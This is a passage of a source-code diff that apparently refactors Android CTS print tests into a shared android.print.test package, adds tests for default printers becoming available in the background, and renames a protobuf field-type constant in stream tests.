+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertTrue;
+
import android.os.ParcelFileDescriptor;
import android.print.PageRange;
import android.print.PrintAttributes;
@@ -29,14 +34,16 @@
import android.print.PrinterCapabilitiesInfo;
import android.print.PrinterId;
import android.print.PrinterInfo;
-import android.print.cts.services.FirstPrintService;
-import android.print.cts.services.PrintServiceCallbacks;
-import android.print.cts.services.PrinterDiscoverySessionCallbacks;
-import android.print.cts.services.SecondPrintService;
-import android.print.cts.services.StubbablePrinterDiscoverySession;
+import android.print.test.BasePrintTest;
+import android.print.test.services.FirstPrintService;
+import android.print.test.services.PrintServiceCallbacks;
+import android.print.test.services.PrinterDiscoverySessionCallbacks;
+import android.print.test.services.SecondPrintService;
+import android.print.test.services.StubbablePrinterDiscoverySession;
import android.printservice.PrintJob;
import android.printservice.PrintService;
import android.support.test.runner.AndroidJUnit4;
+
import org.junit.Before;
import org.junit.Test;
import org.junit.runner.RunWith;
@@ -45,16 +52,12 @@
import java.util.ArrayList;
import java.util.List;
-import static android.print.cts.Utils.eventually;
-import static org.junit.Assert.assertEquals;
-import static org.junit.Assert.assertTrue;
-
/**
* This test verifies that the system respects the {@link PrintDocumentAdapter}
* contract and invokes all callbacks as expected.
*/
@RunWith(AndroidJUnit4.class)
-public class PrintDocumentInfoTest extends android.print.cts.BasePrintTest {
+public class PrintDocumentInfoTest extends BasePrintTest {
private static boolean sIsDefaultPrinterSet;
@Before
diff --git a/tests/tests/print/src/android/print/cts/PrintJobStateTransitionsTest.java b/tests/tests/print/src/android/print/cts/PrintJobStateTransitionsTest.java
index d5edcb6..75a7847 100644
--- a/tests/tests/print/src/android/print/cts/PrintJobStateTransitionsTest.java
+++ b/tests/tests/print/src/android/print/cts/PrintJobStateTransitionsTest.java
@@ -16,7 +16,7 @@
package android.print.cts;
-import static android.print.cts.Utils.eventually;
+import static android.print.test.Utils.eventually;
import static org.junit.Assert.assertEquals;
import static org.junit.Assert.assertTrue;
@@ -30,11 +30,12 @@
import android.print.PrinterCapabilitiesInfo;
import android.print.PrinterId;
import android.print.PrinterInfo;
-import android.print.cts.services.FirstPrintService;
-import android.print.cts.services.PrintServiceCallbacks;
-import android.print.cts.services.PrinterDiscoverySessionCallbacks;
-import android.print.cts.services.SecondPrintService;
-import android.print.cts.services.StubbablePrinterDiscoverySession;
+import android.print.test.BasePrintTest;
+import android.print.test.services.FirstPrintService;
+import android.print.test.services.PrintServiceCallbacks;
+import android.print.test.services.PrinterDiscoverySessionCallbacks;
+import android.print.test.services.SecondPrintService;
+import android.print.test.services.StubbablePrinterDiscoverySession;
import android.printservice.PrintJob;
import android.util.Log;
diff --git a/tests/tests/print/src/android/print/cts/PrintJobTest.java b/tests/tests/print/src/android/print/cts/PrintJobTest.java
index f3081fb..1fcfc17 100644
--- a/tests/tests/print/src/android/print/cts/PrintJobTest.java
+++ b/tests/tests/print/src/android/print/cts/PrintJobTest.java
@@ -16,6 +16,14 @@
package android.print.cts;
+import static android.print.test.Utils.eventually;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertTrue;
+
import android.print.PrintAttributes;
import android.print.PrintAttributes.Margins;
import android.print.PrintAttributes.MediaSize;
@@ -26,23 +34,22 @@
import android.print.PrinterCapabilitiesInfo;
import android.print.PrinterId;
import android.print.PrinterInfo;
-import android.print.cts.services.CustomPrintOptionsActivity;
-import android.print.cts.services.FirstPrintService;
-import android.print.cts.services.PrintServiceCallbacks;
-import android.print.cts.services.PrinterDiscoverySessionCallbacks;
-import android.print.cts.services.SecondPrintService;
-import android.print.cts.services.StubbablePrinterDiscoverySession;
+import android.print.test.BasePrintTest;
+import android.print.test.services.CustomPrintOptionsActivity;
+import android.print.test.services.FirstPrintService;
+import android.print.test.services.PrintServiceCallbacks;
+import android.print.test.services.PrinterDiscoverySessionCallbacks;
+import android.print.test.services.SecondPrintService;
+import android.print.test.services.StubbablePrinterDiscoverySession;
import android.printservice.PrintJob;
import android.support.test.runner.AndroidJUnit4;
+
import org.junit.Before;
import org.junit.Test;
import org.junit.runner.RunWith;
import java.util.ArrayList;
-import static android.print.cts.Utils.eventually;
-import static org.junit.Assert.*;
-
/**
* Tests all possible states of print jobs.
*/
diff --git a/tests/tests/print/src/android/print/cts/PrintServicesTest.java b/tests/tests/print/src/android/print/cts/PrintServicesTest.java
index 7be5fc1..b5a23e2 100644
--- a/tests/tests/print/src/android/print/cts/PrintServicesTest.java
+++ b/tests/tests/print/src/android/print/cts/PrintServicesTest.java
@@ -16,6 +16,16 @@
package android.print.cts;
+import static android.print.test.Utils.assertException;
+import static android.print.test.Utils.eventually;
+import static android.print.test.Utils.getPrintJob;
+import static android.print.test.Utils.runOnMainThread;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+
import android.app.Activity;
import android.app.PendingIntent;
import android.content.ComponentName;
@@ -38,13 +48,14 @@
import android.print.PrinterCapabilitiesInfo;
import android.print.PrinterId;
import android.print.PrinterInfo;
-import android.print.cts.services.FirstPrintService;
-import android.print.cts.services.InfoActivity;
-import android.print.cts.services.PrintServiceCallbacks;
-import android.print.cts.services.PrinterDiscoverySessionCallbacks;
-import android.print.cts.services.SecondPrintService;
-import android.print.cts.services.StubbablePrintService;
-import android.print.cts.services.StubbablePrinterDiscoverySession;
+import android.print.test.BasePrintTest;
+import android.print.test.services.FirstPrintService;
+import android.print.test.services.InfoActivity;
+import android.print.test.services.PrintServiceCallbacks;
+import android.print.test.services.PrinterDiscoverySessionCallbacks;
+import android.print.test.services.SecondPrintService;
+import android.print.test.services.StubbablePrintService;
+import android.print.test.services.StubbablePrinterDiscoverySession;
import android.printservice.CustomPrinterIconCallback;
import android.printservice.PrintJob;
import android.printservice.PrintService;
@@ -52,15 +63,13 @@
import android.support.test.uiautomator.UiDevice;
import android.support.test.uiautomator.UiObject;
import android.support.test.uiautomator.UiSelector;
+
import org.junit.Test;
import org.junit.runner.RunWith;
import java.util.ArrayList;
import java.util.List;
-import static android.print.cts.Utils.*;
-import static org.junit.Assert.*;
-
/**
* Test the interface from a print service to the print manager
*/
diff --git a/tests/tests/print/src/android/print/cts/PrinterCapabilitiesChangeTest.java b/tests/tests/print/src/android/print/cts/PrinterCapabilitiesChangeTest.java
index 9b277e9..251b371 100644
--- a/tests/tests/print/src/android/print/cts/PrinterCapabilitiesChangeTest.java
+++ b/tests/tests/print/src/android/print/cts/PrinterCapabilitiesChangeTest.java
@@ -16,6 +16,8 @@
package android.print.cts;
+import static android.print.test.Utils.runOnMainThread;
+
import android.os.ParcelFileDescriptor;
import android.print.PageRange;
import android.print.PrintAttributes;
@@ -29,14 +31,14 @@
import android.print.PrinterCapabilitiesInfo;
import android.print.PrinterId;
import android.print.PrinterInfo;
-import android.print.cts.services.FirstPrintService;
-import android.print.cts.services.PrintServiceCallbacks;
-import android.print.cts.services.PrinterDiscoverySessionCallbacks;
-import android.print.cts.services.SecondPrintService;
-import android.print.cts.services.StubbablePrinterDiscoverySession;
-import android.support.test.uiautomator.UiObject;
-import android.support.test.uiautomator.UiSelector;
+import android.print.test.BasePrintTest;
+import android.print.test.services.FirstPrintService;
+import android.print.test.services.PrintServiceCallbacks;
+import android.print.test.services.PrinterDiscoverySessionCallbacks;
+import android.print.test.services.SecondPrintService;
+import android.print.test.services.StubbablePrinterDiscoverySession;
import android.util.Log;
+
import org.junit.Before;
import org.junit.Test;
import org.junit.runner.RunWith;
@@ -47,8 +49,6 @@
import java.util.List;
import java.util.concurrent.TimeoutException;
-import static android.print.cts.Utils.runOnMainThread;
-
/**
* This test verifies changes to the printer capabilities are applied correctly.
*/
@@ -154,23 +154,6 @@
PrinterInfo.STATUS_UNAVAILABLE)));
}
- /**
- * Wait until the message is shown that indicates that a printer is unavilable.
- *
- * @throws Exception If anything was unexpected.
- */
- private void waitForPrinterUnavailable() throws Exception {
- final String PRINTER_UNAVAILABLE_MSG =
- getPrintSpoolerString("print_error_printer_unavailable");
-
- UiObject message = getUiDevice().findObject(new UiSelector().resourceId(
- "com.android.printspooler:id/message"));
- if (!message.getText().equals(PRINTER_UNAVAILABLE_MSG)) {
- throw new Exception("Wrong message: " + message.getText() + " instead of " +
- PRINTER_UNAVAILABLE_MSG);
- }
- }
-
@Before
public void setUpPrinting() throws Exception {
// Create the mSession[0] callbacks that we will be checking.
diff --git a/tests/tests/print/src/android/print/cts/PrinterCapabilitiesTest.java b/tests/tests/print/src/android/print/cts/PrinterCapabilitiesTest.java
index 3ea03af..3954948 100644
--- a/tests/tests/print/src/android/print/cts/PrinterCapabilitiesTest.java
+++ b/tests/tests/print/src/android/print/cts/PrinterCapabilitiesTest.java
@@ -16,6 +16,11 @@
package android.print.cts;
+import static android.print.test.Utils.assertException;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertTrue;
+
import android.os.ParcelFileDescriptor;
import android.print.PageRange;
import android.print.PrintAttributes;
@@ -29,12 +34,14 @@
import android.print.PrinterCapabilitiesInfo;
import android.print.PrinterId;
import android.print.PrinterInfo;
-import android.print.cts.services.FirstPrintService;
-import android.print.cts.services.PrintServiceCallbacks;
-import android.print.cts.services.PrinterDiscoverySessionCallbacks;
-import android.print.cts.services.SecondPrintService;
-import android.print.cts.services.StubbablePrinterDiscoverySession;
+import android.print.test.BasePrintTest;
+import android.print.test.services.FirstPrintService;
+import android.print.test.services.PrintServiceCallbacks;
+import android.print.test.services.PrinterDiscoverySessionCallbacks;
+import android.print.test.services.SecondPrintService;
+import android.print.test.services.StubbablePrinterDiscoverySession;
import android.support.test.runner.AndroidJUnit4;
+
import org.junit.Test;
import org.junit.runner.RunWith;
@@ -42,9 +49,6 @@
import java.util.function.Consumer;
import java.util.function.Function;
-import static android.print.cts.Utils.assertException;
-import static org.junit.Assert.*;
-
/**
* This test verifies changes to the printer capabilities are applied correctly.
*/
diff --git a/tests/tests/print/src/android/print/cts/PrinterDiscoverySessionLifecycleTest.java b/tests/tests/print/src/android/print/cts/PrinterDiscoverySessionLifecycleTest.java
index 499d21e..a21ed18 100644
--- a/tests/tests/print/src/android/print/cts/PrinterDiscoverySessionLifecycleTest.java
+++ b/tests/tests/print/src/android/print/cts/PrinterDiscoverySessionLifecycleTest.java
@@ -16,8 +16,13 @@
package android.print.cts;
-import static android.print.cts.Utils.*;
-import static org.junit.Assert.*;
+import static android.print.test.Utils.eventually;
+import static android.print.test.Utils.runOnMainThread;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
import static org.mockito.Mockito.inOrder;
import android.print.PrintAttributes;
@@ -28,15 +33,19 @@
import android.print.PrinterCapabilitiesInfo;
import android.print.PrinterId;
import android.print.PrinterInfo;
-import android.print.cts.services.FirstPrintService;
-import android.print.cts.services.PrintServiceCallbacks;
-import android.print.cts.services.PrinterDiscoverySessionCallbacks;
-import android.print.cts.services.SecondPrintService;
-import android.print.cts.services.StubbablePrinterDiscoverySession;
+import android.print.test.BasePrintTest;
+import android.print.test.services.FirstPrintService;
+import android.print.test.services.PrintServiceCallbacks;
+import android.print.test.services.PrinterDiscoverySessionCallbacks;
+import android.print.test.services.SecondPrintService;
+import android.print.test.services.StubbablePrinterDiscoverySession;
import android.printservice.PrintJob;
import android.printservice.PrinterDiscoverySession;
-
+import android.support.annotation.NonNull;
import android.support.test.runner.AndroidJUnit4;
+import android.support.test.uiautomator.UiObject;
+import android.support.test.uiautomator.UiSelector;
+
import org.junit.Before;
import org.junit.Test;
import org.junit.runner.RunWith;
@@ -53,10 +62,7 @@
*/
@RunWith(AndroidJUnit4.class)
public class PrinterDiscoverySessionLifecycleTest extends BasePrintTest {
- private static final String FIRST_PRINTER_NAME = "First printer";
- private static final String SECOND_PRINTER_NAME = "Second printer";
-
- private static final String FIRST_PRINTER_LOCAL_ID= "first_printer";
+ private static final String FIRST_PRINTER_LOCAL_ID = "first_printer";
private static final String SECOND_PRINTER_LOCAL_ID = "second_printer";
private static StubbablePrinterDiscoverySession sSession;
@@ -66,6 +72,172 @@
clearPrintSpoolerData();
}
+ /**
+ * Add a printer to {@#sSession}.
+ *
+ * @param localId The id of the printer to add
+ * @param hasCapabilities If the printer has capabilities
+ */
+ private void addPrinter(@NonNull String localId, boolean hasCapabilities) {
+ // Add the first printer.
+ PrinterId firstPrinterId = sSession.getService().generatePrinterId(
+ localId);
+
+ PrinterInfo.Builder printer = new PrinterInfo.Builder(firstPrinterId,
+ localId, PrinterInfo.STATUS_IDLE);
+
+ if (hasCapabilities) {
+ printer.setCapabilities(new PrinterCapabilitiesInfo.Builder(firstPrinterId)
+ .setMinMargins(new Margins(200, 200, 200, 200))
+ .addMediaSize(MediaSize.ISO_A0, true)
+ .addResolution(new Resolution("300x300", "300x300", 300, 300), true)
+ .setColorModes(PrintAttributes.COLOR_MODE_COLOR,
+ PrintAttributes.COLOR_MODE_COLOR)
+ .build());
+ }
+
+ sSession.addPrinters(Collections.singletonList(printer.build()));
+ }
+
+ /**
+ * Make {@code localPrinterId} the default printer. This requires a full print workflow.
+ *
+ * As a side-effect also approved the print service.
+ *
+ * @param localPrinterId The printer to make default
+ */
+ private void makeDefaultPrinter(String localPrinterId) throws Throwable {
+ PrintDocumentAdapter adapter = createDefaultPrintDocumentAdapter(1);
+
+ print(adapter);
+ waitForWriteAdapterCallback(1);
+
+ runOnMainThread(() -> addPrinter(localPrinterId, true));
+ selectPrinter(localPrinterId);
+ waitForWriteAdapterCallback(2);
+
+ clickPrintButton();
+ answerPrintServicesWarning(true);
+
+ waitForPrinterDiscoverySessionDestroyCallbackCalled(1);
+ resetCounters();
+ }
+
+ /**
+ * Select a printer in the all printers activity
+ *
+ * @param printerName The name of the printer to select
+ */
+ private void selectInAllPrintersActivity(@NonNull String printerName) throws Exception {
+ while (true) {
+ UiObject printerItem = getUiDevice().findObject(
+ new UiSelector().text(printerName));
+
+ if (printerItem.isEnabled()) {
+ printerItem.click();
+ break;
+ } else {
+ Thread.sleep(100);
+ }
+ }
+ }
+
+ @Test
+ public void defaultPrinterBecomesAvailableWhileInBackground() throws Throwable {
+ // Create the session callbacks that we will be checking.
+ final PrinterDiscoverySessionCallbacks firstSessionCallbacks =
+ createMockPrinterDiscoverySessionCallbacks(invocation -> {
+ sSession =
+ ((PrinterDiscoverySessionCallbacks) invocation.getMock()).getSession();
+
+ onPrinterDiscoverySessionCreateCalled();
+ return null;
+ }, null, null, null, null, null, invocation -> {
+ onPrinterDiscoverySessionDestroyCalled();
+ return null;
+ });
+
+ // Create the service callbacks for the first print service.
+ PrintServiceCallbacks firstServiceCallbacks = createMockPrintServiceCallbacks(
+ invocation -> firstSessionCallbacks, null, null);
+
+ // Configure the print services.
+ FirstPrintService.setCallbacks(firstServiceCallbacks);
+ SecondPrintService.setCallbacks(createSecondMockPrintServiceCallbacks());
+
+ makeDefaultPrinter(FIRST_PRINTER_LOCAL_ID);
+
+ PrintDocumentAdapter adapter = createDefaultPrintDocumentAdapter(1);
+ print(adapter);
+ waitForPrinterDiscoverySessionCreateCallbackCalled();
+
+ waitForPrinterUnavailable();
+
+ selectPrinter("All printers…");
+ // Let all printers activity start
+ Thread.sleep(500);
+
+ // Add printer
+ runOnMainThread(() -> addPrinter(FIRST_PRINTER_LOCAL_ID, true));
+
+ // Select printer once available (this returns to main print activity)
+ selectInAllPrintersActivity(FIRST_PRINTER_LOCAL_ID);
+
+ // Wait for preview to load and finish print
+ waitForWriteAdapterCallback(1);
+ clickPrintButton();
+ waitForPrinterDiscoverySessionDestroyCallbackCalled(1);
+ }
+
+ @Test
+ public void defaultPrinterBecomesUsableWhileInBackground() throws Throwable {
+ // Create the session callbacks that we will be checking.
+ final PrinterDiscoverySessionCallbacks firstSessionCallbacks =
+ createMockPrinterDiscoverySessionCallbacks(invocation -> {
+ sSession =
+ ((PrinterDiscoverySessionCallbacks) invocation.getMock()).getSession();
+
+ onPrinterDiscoverySessionCreateCalled();
+ return null;
+ }, null, null, null, null, null, invocation -> {
+ onPrinterDiscoverySessionDestroyCalled();
+ return null;
+ });
+
+ // Create the service callbacks for the first print service.
+ PrintServiceCallbacks firstServiceCallbacks = createMockPrintServiceCallbacks(
+ invocation -> firstSessionCallbacks, null, null);
+
+ // Configure the print services.
+ FirstPrintService.setCallbacks(firstServiceCallbacks);
+ SecondPrintService.setCallbacks(createSecondMockPrintServiceCallbacks());
+
+ makeDefaultPrinter(FIRST_PRINTER_LOCAL_ID);
+
+ PrintDocumentAdapter adapter = createDefaultPrintDocumentAdapter(1);
+ print(adapter);
+ waitForPrinterDiscoverySessionCreateCallbackCalled();
+
+ // Add printer but do not enable it (capabilities == null)
+ runOnMainThread(() -> addPrinter(FIRST_PRINTER_LOCAL_ID, false));
+ waitForPrinterUnavailable();
+
+ selectPrinter("All printers…");
+ // Let all printers activity start
+ Thread.sleep(500);
+
+ // Enable printer
+ runOnMainThread(() -> addPrinter(FIRST_PRINTER_LOCAL_ID, true));
+
+ // Select printer once available (this returns to main print activity)
+ selectInAllPrintersActivity(FIRST_PRINTER_LOCAL_ID);
+
+ // Wait for preview to load and finish print
+ waitForWriteAdapterCallback(1);
+ clickPrintButton();
+ waitForPrinterDiscoverySessionDestroyCallbackCalled(1);
+ }
+
@Test
public void normalLifecycle() throws Throwable {
// Create the session callbacks that we will be checking.
@@ -99,7 +271,7 @@
runOnMainThread(() -> assertEquals(0, sSession.getTrackedPrinters().size()));
// Select the first printer.
- selectPrinter(FIRST_PRINTER_NAME);
+ selectPrinter(FIRST_PRINTER_LOCAL_ID);
eventually(() -> runOnMainThread(() -> assertEquals(FIRST_PRINTER_LOCAL_ID,
sSession.getTrackedPrinters().get(0).getLocalId())));
@@ -111,7 +283,7 @@
// Select the second printer (same capabilities as the other
// one so no layout should happen).
- selectPrinter(SECOND_PRINTER_NAME);
+ selectPrinter(SECOND_PRINTER_LOCAL_ID);
eventually(() -> runOnMainThread(() -> assertEquals(SECOND_PRINTER_LOCAL_ID,
sSession.getTrackedPrinters().get(0).getLocalId())));
@@ -205,7 +377,7 @@
runOnMainThread(() -> assertEquals(0, sSession.getTrackedPrinters().size()));
// Select the first printer.
- selectPrinter(FIRST_PRINTER_NAME);
+ selectPrinter(FIRST_PRINTER_LOCAL_ID);
eventually(() -> runOnMainThread(() -> assertEquals(FIRST_PRINTER_LOCAL_ID,
sSession.getTrackedPrinters().get(0).getLocalId())));
@@ -295,7 +467,7 @@
runOnMainThread(() -> assertEquals(0, sSession.getTrackedPrinters().size()));
// Select the first printer.
- selectPrinter(FIRST_PRINTER_NAME);
+ selectPrinter(FIRST_PRINTER_LOCAL_ID);
eventually(() -> runOnMainThread(() -> assertEquals(FIRST_PRINTER_LOCAL_ID,
sSession.getTrackedPrinters().get(0).getLocalId())));
@@ -491,27 +663,9 @@
assertTrue(sSession.isPrinterDiscoveryStarted());
- if (sSession.getPrinters().isEmpty()) {
- List<PrinterInfo> printers = new ArrayList<>();
+ addPrinter(FIRST_PRINTER_LOCAL_ID, false);
+ addPrinter(SECOND_PRINTER_LOCAL_ID, false);
- // Add the first printer.
- PrinterId firstPrinterId = sSession.getService().generatePrinterId(
- FIRST_PRINTER_LOCAL_ID);
- PrinterInfo firstPrinter = new PrinterInfo.Builder(firstPrinterId,
- FIRST_PRINTER_NAME, PrinterInfo.STATUS_IDLE)
- .build();
- printers.add(firstPrinter);
-
- // Add the first printer.
- PrinterId secondPrinterId = sSession.getService().generatePrinterId(
- SECOND_PRINTER_LOCAL_ID);
- PrinterInfo secondPrinter = new PrinterInfo.Builder(secondPrinterId,
- SECOND_PRINTER_NAME, PrinterInfo.STATUS_IDLE)
- .build();
- printers.add(secondPrinter);
-
- sSession.addPrinters(printers);
- }
return null;
}, invocation -> {
assertFalse(sSession.isPrinterDiscoveryStarted());
diff --git a/tests/tests/print/src/android/print/cts/PrinterInfoTest.java b/tests/tests/print/src/android/print/cts/PrinterInfoTest.java
index 9c5c6ab..6a65e00 100644
--- a/tests/tests/print/src/android/print/cts/PrinterInfoTest.java
+++ b/tests/tests/print/src/android/print/cts/PrinterInfoTest.java
@@ -27,11 +27,12 @@
import android.print.PrinterCapabilitiesInfo;
import android.print.PrinterId;
import android.print.PrinterInfo;
-import android.print.cts.services.FirstPrintService;
-import android.print.cts.services.PrintServiceCallbacks;
-import android.print.cts.services.PrinterDiscoverySessionCallbacks;
-import android.print.cts.services.SecondPrintService;
-import android.print.cts.services.StubbablePrinterDiscoverySession;
+import android.print.test.BasePrintTest;
+import android.print.test.services.FirstPrintService;
+import android.print.test.services.PrintServiceCallbacks;
+import android.print.test.services.PrinterDiscoverySessionCallbacks;
+import android.print.test.services.SecondPrintService;
+import android.print.test.services.StubbablePrinterDiscoverySession;
import android.support.test.runner.AndroidJUnit4;
import android.support.test.uiautomator.UiObject;
import android.support.test.uiautomator.UiSelector;
diff --git a/tests/tests/print/src/android/print/cts/services/AddPrintersActivity.java b/tests/tests/print/src/android/print/cts/services/AddPrintersActivity.java
deleted file mode 100644
index c72d6f9..0000000
--- a/tests/tests/print/src/android/print/cts/services/AddPrintersActivity.java
+++ /dev/null
@@ -1,28 +0,0 @@
-/*
- * Copyright (C) 2014 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.print.cts.services;
-
-import android.app.Activity;
-import android.os.Bundle;
-
-public class AddPrintersActivity extends Activity {
-
- @Override
- protected void onCreate(Bundle savedInstanceState) {
- super.onCreate(savedInstanceState);
- }
-}
diff --git a/tests/tests/print/src/android/print/pdf/cts/PrintedPdfDocumentTest.java b/tests/tests/print/src/android/print/pdf/cts/PrintedPdfDocumentTest.java
index 344bcfc..4c2b369 100644
--- a/tests/tests/print/src/android/print/pdf/cts/PrintedPdfDocumentTest.java
+++ b/tests/tests/print/src/android/print/pdf/cts/PrintedPdfDocumentTest.java
@@ -16,6 +16,10 @@
package android.print.pdf.cts;
+import static android.print.test.Utils.assertException;
+
+import static org.junit.Assert.assertEquals;
+
import android.content.Context;
import android.graphics.Rect;
import android.graphics.pdf.PdfDocument;
@@ -23,13 +27,11 @@
import android.print.pdf.PrintedPdfDocument;
import android.support.test.InstrumentationRegistry;
import android.support.test.runner.AndroidJUnit4;
+
import org.junit.BeforeClass;
import org.junit.Test;
import org.junit.runner.RunWith;
-import static android.print.cts.Utils.assertException;
-import static org.junit.Assert.assertEquals;
-
/**
* Tests {@link PrintedPdfDocument}. This class is a subclass of {@link PdfDocument}, hence only the
* overridden methods are tested.
diff --git a/tests/tests/proto/src/android/util/proto/cts/ProtoOutputStreamObjectTest.java b/tests/tests/proto/src/android/util/proto/cts/ProtoOutputStreamObjectTest.java
index fb23607..8178b46 100644
--- a/tests/tests/proto/src/android/util/proto/cts/ProtoOutputStreamObjectTest.java
+++ b/tests/tests/proto/src/android/util/proto/cts/ProtoOutputStreamObjectTest.java
@@ -79,7 +79,7 @@
final ProtoOutputStream po = new ProtoOutputStream(chunkSize);
long token = po.startObject(ProtoOutputStream.makeFieldId(1,
- ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_OBJECT));
+ ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_MESSAGE));
po.writeUInt32(ProtoOutputStream.makeFieldId(2,
ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_UINT32),
'b');
@@ -106,7 +106,7 @@
final ProtoOutputStream po = new ProtoOutputStream(chunkSize);
long token = po.startObject(ProtoOutputStream.makeFieldId(1,
- ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_OBJECT));
+ ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_MESSAGE));
po.writeUInt32(ProtoOutputStream.makeFieldId(5000,
ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_UINT32),
'\u3110');
@@ -138,7 +138,7 @@
'a');
long token = po.startObject(ProtoOutputStream.makeFieldId(2,
- ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_OBJECT));
+ ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_MESSAGE));
po.writeUInt32(ProtoOutputStream.makeFieldId(3,
ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_UINT32),
'b');
@@ -177,7 +177,7 @@
final ProtoOutputStream po = new ProtoOutputStream(chunkSize);
long token = po.startObject(ProtoOutputStream.makeFieldId(1,
- ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_OBJECT));
+ ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_MESSAGE));
po.endObject(token);
Assert.assertArrayEquals(new byte[0], po.getBytes());
@@ -199,11 +199,11 @@
final ProtoOutputStream po = new ProtoOutputStream(chunkSize);
long token1 = po.startObject(ProtoOutputStream.makeFieldId(1,
- ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_OBJECT));
+ ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_MESSAGE));
long token2 = po.startObject(ProtoOutputStream.makeFieldId(2,
- ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_OBJECT));
+ ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_MESSAGE));
long token3 = po.startObject(ProtoOutputStream.makeFieldId(3,
- ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_OBJECT));
+ ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_MESSAGE));
po.endObject(token3);
po.endObject(token2);
po.endObject(token1);
@@ -231,7 +231,7 @@
'a');
long token = po.startObject(ProtoOutputStream.makeFieldId(2,
- ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_OBJECT));
+ ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_MESSAGE));
po.endObject(token);
po.writeUInt32(ProtoOutputStream.makeFieldId(4,
@@ -263,11 +263,11 @@
long token;
token = po.startRepeatedObject(ProtoOutputStream.makeFieldId(1,
- ProtoOutputStream.FIELD_COUNT_REPEATED | ProtoOutputStream.FIELD_TYPE_OBJECT));
+ ProtoOutputStream.FIELD_COUNT_REPEATED | ProtoOutputStream.FIELD_TYPE_MESSAGE));
po.endRepeatedObject(token);
token = po.startRepeatedObject(ProtoOutputStream.makeFieldId(1,
- ProtoOutputStream.FIELD_COUNT_REPEATED | ProtoOutputStream.FIELD_TYPE_OBJECT));
+ ProtoOutputStream.FIELD_COUNT_REPEATED | ProtoOutputStream.FIELD_TYPE_MESSAGE));
po.endRepeatedObject(token);
Assert.assertArrayEquals(new byte[] {
@@ -299,7 +299,7 @@
'x');
long token = po.startObject(ProtoOutputStream.makeFieldId(2,
- ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_OBJECT));
+ ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_MESSAGE));
po.writeUInt32(ProtoOutputStream.makeFieldId(3,
ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_UINT32),
'y');
@@ -308,7 +308,7 @@
"abcdefghijkl");
long tokenEmpty = po.startObject(ProtoOutputStream.makeFieldId(500,
- ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_OBJECT));
+ ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_MESSAGE));
po.endObject(tokenEmpty);
po.endObject(token);
@@ -349,19 +349,19 @@
final ProtoOutputStream po = new ProtoOutputStream(chunkSize);
long token1 = po.startObject(ProtoOutputStream.makeFieldId(1,
- ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_OBJECT));
+ ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_MESSAGE));
po.writeUInt32(ProtoOutputStream.makeFieldId(2,
ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_UINT32),
'a');
long token2 = po.startObject(ProtoOutputStream.makeFieldId(3,
- ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_OBJECT));
+ ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_MESSAGE));
po.writeUInt32(ProtoOutputStream.makeFieldId(4,
ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_UINT32),
'b');
long token3 = po.startObject(ProtoOutputStream.makeFieldId(5,
- ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_OBJECT));
+ ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_MESSAGE));
po.writeUInt32(ProtoOutputStream.makeFieldId(6,
